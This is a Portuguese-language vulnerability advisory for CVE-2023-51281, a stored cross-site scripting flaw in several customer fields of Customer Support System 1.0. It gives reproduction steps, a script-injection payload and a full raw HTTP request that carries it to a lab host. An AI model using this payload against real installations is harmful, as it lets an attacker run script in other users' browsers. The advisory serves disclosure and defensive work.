CVE-2023-51281

Customer Support System 1.0 - Múltiplas vulnerabilidades de Cross-Site Scripting (XSS) nos parâmetros “firstname”, "lastname", "middlename", "contact" ou “address”

Descrição: Múltiplas vulnerabilidades de cross-site scripting (XSS) em /customer_support/ajax.php?action=save_customer no Customer Support System 1.0 permitem que atacantes autenticados executem scripts arbitrários da web ou HTML através de um payload malicioso injetado nos parâmetros “firstname”, "lastname", "middlename", "contact" ou “address”.

Versão do Produto Vulnerável: Customer Support System 1.0
Autor do CVE: Geraldo Alcântara
Data: 28/11/2023
Confirmado em: 22/12/2023
CVE: CVE-2023-51281
Testado em: Windows

Passos para reproduzir:

1. Faça login no aplicativo.
2. Navegue para "/customer_support/index.php?page=customer_list" para editar um cliente existente ou "/customer_support/index.php?page=new_customer" para criar um novo cliente.
3. Nas páginas de edição do cliente, insira um payload cuidadosamente elaborado nos parâmetros firstname, lastname, middlename, contact ou address.
4. Payload: </dt></b><script>alert(document.domain)</script>

Requisição:

POST /customer_support/ajax.php?action=save_customer HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------212391604122778812451614149575
Content-Length: 1149
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_customer
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3

-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="id"


-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="firstname"

teste</dt></b><script>alert(document.domain)</script>
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="middlename"


-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="lastname"

xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="contact"

210
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="address"

asdasd
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="email"

[email protected]
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="password"

xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="cpass"

xss
-----------------------------212391604122778812451614149575--

Descobridor(es)/Créditos:
Geraldo Alcântara